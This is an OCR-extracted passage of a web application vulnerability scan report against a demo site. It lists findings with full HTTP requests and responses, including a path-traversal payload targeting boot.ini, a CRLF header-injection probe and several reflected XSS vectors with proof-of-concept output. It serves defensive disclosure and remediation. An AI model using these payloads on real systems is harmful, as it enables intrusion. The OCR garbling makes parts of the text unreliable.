color : black;}A.name {color : black;}HR {color : #525D76;}</style></head><body><h1>HTTP Status 500 - Internal
Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> java.lang.NullPoint
erException</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfillin
g the request.</p><p><b>Exception</b> <pre>org.apache.jasper.JasperException: java.lang.NullPoi

ApFIi{c::ation Error Message found in POST-demol.indussecure.com/?cont
ent=

III}&jOb={III}

;Jll;lque Alert First Found Date Parameter URI
http://demol.indussecure.com/?content
=..%2F..%?2F..%2F..%2F..%?2F..%?2F..%

1 1748750 8th January 2020 content 2F..%2F..%?2F..%2Fboot.ini&job=Loyalty
MarketingProgramManager%3AMarketin
g

Attack Variant :: content

Injected URL:
http://demo1l.indussecure.com/?content=..%2F..%2F..%2F..%2F..%?2F..%2F..%?2F..%2F..%?2F..%2Fboot.ini&ob=LoyaltyM
arketingProgramManager%3AMarketing

Vector:

Ao A A /bootini

Request:

POST /?content=..%2F..%2F..%2F..%2F..%?2F..%?2F..%2F..%2F..%2F..%2Fboot.ini&job=LoyaltyMarketingProgramManage
r%3AMarketing HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

content-type: application/xml

host: demol.indussecure.com

accept-encoding: gzip, deflate

content-length: 0
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Response:

500 Internal Server Error

server: Apache-Coyote/1.1
content-type: text/html;charset=utf-8
content-language: en
content-length: 1765

date: Wed, 08 Jan 2020 13:34:51 GMT
connection: close

Result:

color : black;}A.name {color : black;}HR {color : #525D76;}</style></head><body><h1>HTTP Status 500 - Internal
Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> java.lang.NullPoint
erException</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfillin
g the request.</p><p><b>Exception</b> <pre>org.apache.jasper.JasperException: java.lang.NullPoi

19 :: Missing HSTS Header

Vul Type: Missing HSTS Header No of Places Found: 1
CVSS Score: 6.5 No of Instances Reported: 1
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CWE : CWE-16: Configuration

Severity:

Adding HTTP Strict-Transport-Security (HSTS) response header enable web sites to declare t
hemselves accessible only via secure connections and/or for users to be able to direct their u
ser agent(s) to interact with given sites only over secure connections. Missing HSTS header a
llows remote attackes to conduct man-in-the-middle attacks and steal private data.

Description:

Configure your webserver to redirect HTTP requests to HTTPS. For Ex: Strict-Transport-Secu
Solution: rity: max-age=31536000, Strict-Transport-Security: max-age=31536000; includeSubDomain
s

Reference: https://www.owasp.org/index.php/HTTP_Strict_Transport_Security http://en.wikipedia.org/wi
) ki/HTTP_Strict_Transport_Security

Vulnerability Details:

Unique Alert ID First Found Date URI

. . . o T
1 2179822 8th January 2020 http://demol.indussecure.com/index.jsp?content=inside_
contact.htm
Injected URL:
http://demo1l.indussecure.com/index.jsp?content=inside_contact.htm

Request:

GET /index.jsp?content=inside_contact.htm HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate



Response:
200 OK
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server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:42:07 GMT

connection: close

Result:

The following site has HSTS header missing: http://demol.indussecure.com/index.jsp?content=inside_contact.htm

20 :: HTTP Basic Authentication Enabled

Vul Type:
CVSS Score:
CVSS Vector:
CWE :

Severity:

Description:

Solution:

Reference:

HTTP Basic Authentication Enabled No of Places Found: 1

5.1 No of Instances Reported: 1
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

CWE-16: Configuration

The HTTP Basic Authentication scheme is not considered to be a secure method of user authe
ntication (unless used in conjunction with some external secure system such as TLS/SSL), as

the user name and password are passed over the network as cleartext.

b Use Basic Authentication over TLS/SSL (HTTPS)
Enable HTTPS on the Web server. The TLS/SSL protocol will protect cleartext Basic Auth

entication credentials.

¥ Use Digest Authentication
Replace Basic Authentication with the alternative Digest Authentication scheme. By mod
ern cryptographic standards Digest Authentication is weak. But for a large range of pur
poses it is valuable as a replacement for Basic Authentication. It remedies some, but no

t all, weaknesses of Basic Authentication. See RFC 2617, section 4. Security Considerati

ons for more information.

http://tools.ietf.org/html/rfc2617

Vulnerability Details:

Unique Alert

ID

1 598484

Injected URL:

First Found Date Parameter URI

http://demo1l.indussecure.com:8080/ma

h 202
8th January 2020 password nager/html

http://demol.indussecure.com:8080/manager/html


http://tools.ietf.org/html/rfc2617#section-4
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User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.3
1

Request:
GET /paycorp/?jsessionid=%0d%0aRandomHeader:NO HTTP/1.1

Referer: https:/demol.indussecure.com/paycorp/

Result:
Line No:9 Server: Apache-Coyote/1.1

Line No:10 www - EllNCHHCateMBEsIE r<alm="Tomcat Manager Application"
Line No:11

21 :: Insecure Content Security Policy (CSP)/X-Frame-Options

Insecure Content Security Policy (CSP)/X-

Vul Type: Frame-Options No of Places Found: 10
CVSS Score: 3.1 No of Instances Reported: 10
CVSS Vector: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

CWE : CWE-16: Configuration

Severity: Low

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious t
echnique of tricking a Web user into clicking on something different from what the user perce
ives they are clicking on, thus potentially revealing confidential information or taking control

of their computer while clicking on seemingly innocuous web pages. Setting the right values t
o0 X-Frame-Options and/or Content-Security-Policy headers will help to protect against Clickj

acking.

Description:

Sending the proper X-Frame-Options HTTP response headers that instruct the browser to not
allow framing from other domains. Employing defensive code in the UI to ensure that the cur
rent frame is the most top-level window. Similarly, 'frame-ancestors' directive can be used in
a Content-Security-Policy HTTP response header to indicate whether or not a browser should
be allowed to render a page in a frame or iframe. With this site will avoid Clickjacking attack
s by ensuring that their content is not embedded into other sites.

Solution:

Vulnerability Details:

Insecure Content Security Policy l((CSP)/X-Frame-Options found in GET-d

emol.indussecure.com/ /feedback.jsp
Unique Alert ID First Found Date URI
1 1856021 8th January 2020 http://demol.indussecure.com//feedback.jsp

Injected URL:
http://demo1l.indussecure.com//feedback.jsp

Request:

GET //feedback.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate
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Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:24:40 GMT
connection: close

Result:
Neither x-frame-options or content-security-policy headers set

Insecure Content Security Policy (CSP)/X-Frame-Options found in GET-d
emol.indussecure.com/ /index.jsp?content={...}&job={...}

Unique Alert ID First Found Date URI

http://demol.indussecure.com//index.jsp?content=inside

1 1753450 8th J 2020
anuary _jobs.htm&job=ExecutiveAssistant: Administration

Injected URL:
http://demo1l.indussecure.com//index.jsp?content=inside_jobs.htm&job=ExecutiveAssistant: Administration

Request:

GET //index.jsp?content=inside_jobs.htm&job=ExecutiveAssistant:Administration HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:24:57 GMT
connection: close

Result:
Neither x-frame-options or content-security-policy headers set

Insecure Content Security Policy (CSP)/X-Frame-Options found in GET-d
emol.indussecure.com/ /index.jsp?content={...}

Unique Alert ID First Found Date URI

http://demol.indussecure.com//index.jsp?content=perso

1 1753453 8th January 2020 nal.htm

Injected URL:
http://demol.indussecure.com//index.jsp?content=personal.htm



j
Request:

GET //index.jsp?content=personal.htm HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:25:47 GMT
connection: close

Result:
Neither x-frame-options or content-security-policy headers set

Insecure Content Security Policy (CSP)/X-Frame-Options found in GET-d
emol.indussecure.com/ /login.jsp

Unique Alert ID First Found Date URI

1 1753456 8th January 2020 http://demol.indussecure.com//login.jsp

Injected URL:
http://demol.indussecure.com//login.jsp

Request:

GET //login.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

origin: http://demol.indussecure.com

referer: http://demol.indussecure.com//login.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demo1l.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:26:30 GMT
connection: close

Result:

Neither x-frame-options or content-security-policy headers set

Insecure Content Security Policy (CSP)/X-Frame-Options found in GET-d
emol.indussecure.com/ /search.jsp?query={...>&Submit={...}&email={
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http://demo1l.indussecure.com//search.jsp?query=defaul
tText&Submit=Go&email=test%40indusface.com

Unique Alert ID First Found Date URI

1 1753458 8th January 2020

Injected URL:
http://demol.indussecure.com//search.jsp?query=defaultText&Submit=Go&email=test%40indusface.com

Request:

GET //search.jsp?query =defaultText&Submit=Go&email=test%40indusface.com HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

referer: http://demol.indussecure.com//high_yield_investments.htm
upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 6980

date: Wed, 08 Jan 2020 13:26:37 GMT
connection: close

Result:
Neither x-frame-options or content-security-policy headers set

Insecure Content Security Policy (CSP)/X-Frame-Options found in GET-d
emol.indussecure.com/ /search.jsp?query={...}

Unique Alert ID First Found Date URI

http://demol.indussecure.com//search.jsp?query=defaul

1 1753459 8th January 2020 tText

Injected URL:
http://demol.indussecure.com//search.jsp?query=defaultText

Request:

GET //search.jsp?query=defaultText HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

referer: http://demol.indussecure.com//high_yield_investments.htm
upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 6980

date: Wed, 08 Jan 2020 13:27:41 GMT
connection: close
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Insecure Content Security Policy (CSP)/X-Frame-Options found in GET-d
emol.indussecure.com/?content={...

Result:
Neither x-frame-options or content-security-policy headers set

Unique Alert ID First Found Date URI

1 1753461 8th January 2020 http://demo1l.indussecure.com/?content=personal.htm

Injected URL:
http://demo1l.indussecure.com/?content=personal.htm

Request:

GET /?content=personal.htm HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:28:48 GMT
connection: close

Result:
Neither x-frame-options or content-security-policy headers set

Insecure Content Security Policy (CSP)/X-Frame-Options found in GET-d
emol.indussecure.com/login.jsp

Unique Alert ID First Found Date URI

1 1748705 8th January 2020 http://demol.indussecure.com/login.jsp

Injected URL:
http://demol.indussecure.com/login.jsp

Request:

GET /login.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate
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Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:10 GMT
connection: close

Result:
Neither x-frame-options or content-security-policy headers set

Insecure Content Security Policy (CSP)/X-Frame-Options found in GET-d
emol.indussecure.com/feedback.jsp

Unique Alert ID First Found Date URI

1 1860280 8th January 2020 http://demol.indussecure.com/feedback.jsp

Injected URL:
http://demo1l.indussecure.com/feedback.jsp

Request:

GET /feedback.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:29:39 GMT
connection: close

Result:
Neither x-frame-options or content-security-policy headers set

Insecure Content Security Policy (}CSP /X-Frame-Options found in GET-d
emol.indussecure.com/index.jsp?content={...}&job={...}

Unique Alert ID First Found Date URI
http://demol.indussecure.com/index.jsp?content=inside_
1 1856024 8th January 2020 jobs.htm&job=CustomerServiceRepresentative:Customer
Service

Injected URL:
http://demol.indussecure.com/index.jsp?content=inside_jobs.htm&job=CustomerServiceRepresentative:CustomerServic
e
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GET /index.jsp?content=inside_jobs.htm&job=CustomerServiceRepresentative:CustomerService HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:31:12 GMT
connection: close

Result:
Neither x-frame-options or content-security-policy headers set

22 :: HTTP OPTIONS Method Enabled

Vul Type: HTTP OPTIONS Method Enabled No of Places Found: 1
CVSS Score: 3.1 No of Instances Reported: 1
CVSS Vector: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

CWE : CWE-16: Configuration

Severity: Low

The OPTIONS method provides a list of the methods that are supported by the web server, it
represents a request for information about the communication options available on the reque
st/response chain identified by the Request-URI. It may expose sensitive information that ma
y help an malicious user to prepare more advanced attacks.

Description:

Solution: Disable OPTIONS Method on the web server.

Vulnerability Details:

Unique Alert

ID First Found Date Parameter URI

1 1880757 8th January 2020 OPTIONS r}tstg://demol.|ndussecure.com/feedback
Injected URL:
http://demo1l.indussecure.com/feedback.jsp

Request:

OPTIONS /feedback.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

content-length: 0
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Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:30:23 GMT
connection: close

Result:
The following methods are enabled: HTTP-method:OPTIONS
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A7: Cross-Site Scripting

23 :: Cross-Site Scripting (XSS)

Vul Type:

CVSS Score:

CVSS Vector:

CWE :

Severity:

Description:

Cross-Site Scripting (XSS) No of Places Found: 7

7.3 No of Instances Reported: 8
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting
P

High

The Web application is vulnerable to cross-site scripting (XSS), which allows attackers to tak
e advantage of Web server scripts to inject JavaScript or HTML code that is executed on the
client-side browser. This vulnerability is often caused by server-side scripts written in langua
ges such as PHP, ASP, .NET, Perl or Java, which do not adequately filter data sent along with
page requests or by vulnerable HTTP servers. This malicious code appears to come from you

r Web application when it runs in the browser of an unsuspecting user.

An attacker can do the following damage with an expoloit script:

k access other sites inside another client's private intranet

b steal another client's cookie(s)

¥ modify another client's cookie(s)

b steal another client's submitted form data

¥ modify another client's submitted form data before it reaches the server

» submit a form to your Web application on the user's behalf that modifies passwords or o
ther application data

The two most common methods of attack are:

¥ Having a user click a URL link sent in an e-mail

¥ Having a user click a URL link while visiting a Web site

In both scenarios, the URL will generally link to the trusted site, but will contain additional dat

a that is used to trigger the XSS attack.

Note that SSL connectivity does not protect against this issue.
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Audit the affected url and other similar dynamic pages or scripts that could be relaying untru

Fix Cross Site Scripting Vulnerability

sted malicious data from the user input. In general, the following practices should be followe

d while developing dynamic web content:

r Explicitly set the character set encoding for each page generated by the web server
» Identify special characters

¢ Encode dynamic output elements

» Filter specific characters in dynamic elements

» Examine cookies

For more information on the above practices, read the following CERT advisory: CERT Adviso

ry CA-2000-02

* For ASP.NET applications, the validateRequest attribute can be added to the page or the

Solution: web.config. For example:
<%@ Page ... validateRequest="true" %>
OR

<system.web>
<pages validateRequest="true" />
</system.web>

In addition, all dynamic content should be HTML encoded using HTTPUtility . HTMLEncode.

* For PHP applications, input data should be validated using functions such as strip_tags a

nd utf8_decode. Dynamic content should be HTML encoded using htmlentities.

* For Perl applications, input data should be validated whenever possible using regular ex
pressions. Dynamic content should be HTML encoded using HTML::Entities::encode or A

pache::Util::html_encode (when using mod_perl).

http://www.us-cert.gov/cas/techalerts/CA-2000-02.html http://en.wikipedia.org/wiki/Cross_s

Reference: . -
ite_scripting

Vulnerability Details:

Cross-Site Scripting (XSS) found in GET-demol.indussecure.com/ /searc
h.jsp?query={...}&Submit={...}&email={...}


http://www.cert.org/tech_tips/malicious_code_mitigation.html
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Unique Alert

ID First Found Date Parameter URI
http://demol.indussecure.com//search.j
sp?query=--%3E%27%22%3E%3C%2F
SCrIpT%2Fx%3E%3CsCripT%2Fx%3Eh

1 | 1748743 8th January 2020 query aikumsg(11111)%3C%2FsCrIpT%2Fx%
3E&Submit=Go&email=test%40indusfac
e.com

Attack Variant :: query

Injected URL:
http://demo1l.indussecure.com//search.jsp?query=--%3E%27%22%3E%3C %2FsCrIpT%2Fx%3E%3CsCripT%2Fx%3Eha
ikumsg(11111)%3C%2FsCrIpT%2Fx%3E&Submit=Go&email=test%40indusface.com

Vector:
-->""></sCrIpT/x><sCrIpT/x>haikumsg(11111)</sCrIpT/x>

Request:

GET //search.jsp?query=--%3E%27%22%3E%3C%2FsCrIpT%2Fx%3E%3CsCrIpT%2Fx%3Ehaikumsg(11111)%3C%?2Fs
CripT%2Fx%3E&Submit=Go&email=test%40indusface.com HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

referer: http://demol.indussecure.com//high_yield_investments.htm

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demo1l.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 7022

date: Wed, 08 Jan 2020 13:26:38 GMT
connection: close

Result:
<script x="">haikumsg(11111)</script>

POC Details :
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POC 1: This screenshot shows the request captured in a proxy tool, where you can see the xss

script.

E] Cancel <|v >r |Tlrge|: hitp:idemot.indussecure.com mE

Request Response

@ Params | Headers | Hex M Headers T Hex T HTML T Render ]

<feds
<4-- TOC END -->

¥

“Fx43EeSubmit=Gosemail=testi40indusface com HITP/1.1
Host: demol indussecure. com <td valign="top' colspan="3" class="bb">
Tser-Agent: WMozilla/5 0 (Windows NT L0 0; Winkd; =Ed; rv:E7 0) Gecko/oDI00101 Firefox/&7 0

GET
’;s:a:ch.]sp’.‘q’uery:——iaii27':22*985GCiZFsCrIpT'zZFx'zRE*RCSCrIpTiZinGEalertCl:E)§3C¥2FsCrIpTi

Accept: text/html,application/shtulixml,application/zml;q=0.9,%/*;q=0.8
Accept-Language: en-US,en;q=0.§
Accept-Encoding: gzip, deflate
Commection: close <div class="fl" style="widch: 99%;">
Upgrade-Tnsecure-Requeses: 1
<nl>Search Results</hl>

<p>No results were found for the gquery:<br /><br />

—->!'"></sCrIpT/x><sCripT/x>alert (123)</sCrIpT/x>

</div>
</ed>

</div>

<i-- BEGIN FOOTER -->

</tr>

</rabler

<div id="footer" styles'wideh: 99% ;">

[«

<a id="HyperlLink5" href='/index jsp?content=privacy htm'>Privacy Policy</a>

POC 2: XSS successfully executed in the browser.

(— - X @ @ H demo.indussecure.com//search.jsplquery=-->"> <%2FsCrlpT%2Fx> <sCripT%2Fx>alert(123)<%2FsCrlpT - T}‘ 1Y

Cross-Site Scripting (XSS) found in GET-demol.indussecure.com/ /searc
h.jsp?query={...}

Page 73 of 90 |NDUS \

Scan Date: 8th January 2020
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http://demol.indussecure.com//search.j
sp?query=--%3E%27%22%3E%3C%2F

1 1748756 8th January 2020 query SCrIpT%2Fx%3E%3CsCrIpT%2Fx%3Eh
aikumsg(11111)%3C%2FsCrIpT%2Fx%
3E

Unique Alert

ID First Found Date Parameter URI

Attack Variant :: query

Injected URL:
http://demo1l.indussecure.com//search.jsp?query=--%3E%27%22%3E%3C%2FsCrIpT%2Fx%3E%3CsCripT%2Fx%3Eha
ikumsg(11111)%3C%2FsCrIpT%2Fx%3E

Vector:
-->""></sCrIpT/x><sCrIpT/x>haikumsg(11111)</sCrIpT/x>

Request:

GET //search.jsp?query=--%3E%27%22%3E%3C%2FsCrIpT%2Fx%3E%3CsCripT%2Fx%3Ehaikumsg(11111)%3C%?2Fs
CripT%2Fx%3E HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

referer: http://demol.indussecure.com//high_yield_investments.htm

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 7022

date: Wed, 08 Jan 2020 13:27:41 GMT
connection: close

Result:
<script x="">haikumsg(11111)</script>

POC Details :
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POC 1: XSS successfully executed in the browser.

N -
o X w © & demol.indussecure.com//search.jsp?query=-->"><%2FsCripT%2Fx> <sCrlpT%2Fx>alert(1111 4 {.‘r‘ meoe®g =

Transferring data from demo’.indussecure.com...

POC 2: we insert the XSS vector in request header, and it gets reflected in response.

>0 TorgoFrTaemot oo

Request Response

E Params | Headers | Hex M Headers THex T HTML Tnermr W

GET & href="subscribe.jsp'>Subscribe</a></Lix a
//search. ispla 2782283 IpT IpT42Fx33Ealert (11111)53C82FsCelp P </ul> 3
THIFx43E HEITR/L.L </cd>

Host: demol.indussecure.com <i-- TOC END -->

User-Agent: Mozillass 0 (Windows NT 1D 0; Wing4; xE4; rv:70.0) Gecko/Z0L00101 Firefox/70.0

Accept: text/htul,applicaticn/zhtnltuml,application/xnl;q=0.9,%/*;q=0.8 <td valign='top" colspan="3" class='bb">

Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
<div class="f1" scyle='"widch: 99%;">
<hl>Search Results</hl>

| <p>No results were found for the guery:<hbr /><hr />

==>'"></sCripT/x><sCripT/x>alert (11111) </sCrIpT/x>

</divs
</tds

<fdivs

<¢-- BEGIN FOOTER -->

Cross-Site Scripting (XSS) found in GET-demol.indussecure.com/search
Jsp?query={...>&Submit={...}

Scan Date: 8th January 2020

Page 75 of 90 |NDUS |
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http://demo1l.indussecure.com/search.js
p?query=--%3E%27%22%3E%3C%2Fs

1 1748720 8th January 2020 query CripT%2Fx%3E%3CsCripT%2Fx%3Ehai
kumsg(11111)%3C%2FsCrIpT%2Fx%3E
&Submit=Go

Unique Alert

ID First Found Date Parameter URI

Attack Variant :: query

Injected URL:
http://demo1l.indussecure.com/search.jsp?query=--%3E%27%22%3E%3C %2FsCripT%2Fx%3E%3CsCripT%2Fx%3Ehai
kumsg(11111)%3C%2FsCrIpT%2Fx%3E&Submit=Go

Vector:
-->""></sCrIpT/x><sCrlpT/x>haikumsg(11111)</sCriIpT/x>

Request:

GET /search.jsp?query=--%3E%27%22%3E%3C%2FsCripT%2Fx%3E%3CsCrlpT%2Fx%3Ehaikumsg(11111)%3C%2FsC
rIpT%2Fx%3E&Submit=Go HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

referer: http://demo1l.indussecure.com/

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 7022

date: Wed, 08 Jan 2020 13:33:17 GMT
connection: close

Result:
<script x="">haikumsg(11111)</script>

POC Details :



POC 1: Cross-Site Scripting (XSS)

MOUSFACE)

|Target http://demo1 indussecure com/search jsp?query=—%3E'%22%3E%3C%2FsCripT%2Fx%3E%3CsCripT%2Fx%3Ehaikumsg(11111)%3C%2FsCripT%2Fx%3E&Submit=Go

Request:

Response:

GET /search jsp?query=—
%3E%27%22%3E%3C%2F sCrlpT%2Fx%3E%3CsCrlpT%2Fx%3Ehaikumsg(11111)%3C%2FsC
rlpT %2Fx%3E&Submit=Go HTTP/1.1

Accept: text/html application/xhtml+xml application/xml:q=0.9 image/webp image/apng.”/*:q=0.8
Accept-Encoding: gzip, deflate

Accept.Language: en-US

Cookie: JSESSIONID=4395CA3C6C14A536B224AE2D317E6002

Referer: hitp://demo indussecure com/

Upgrade-Insecure Requests: 1

User-Agent: Mazilla/5 0 (X11: Linux x85_64) AppleWebKit/537 36 (KHTML, like Gecko)
Chrome/61.0.3163.100 Electron/2.0.11 Safari/537 .36

.

1 docand ind

content-type: text/html charset=|S0-8359-1
content-length: 7022

date: Wed, 24 Jul 2019 01:15:12 GMT
connection: close

Request Body

Response Body Render

POC 2: Cross-Site Scripting (XSS)

HTML

<!-- BEGIN HEADER --3>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Transitional//EN" “http://www.w3.org/TR/xh
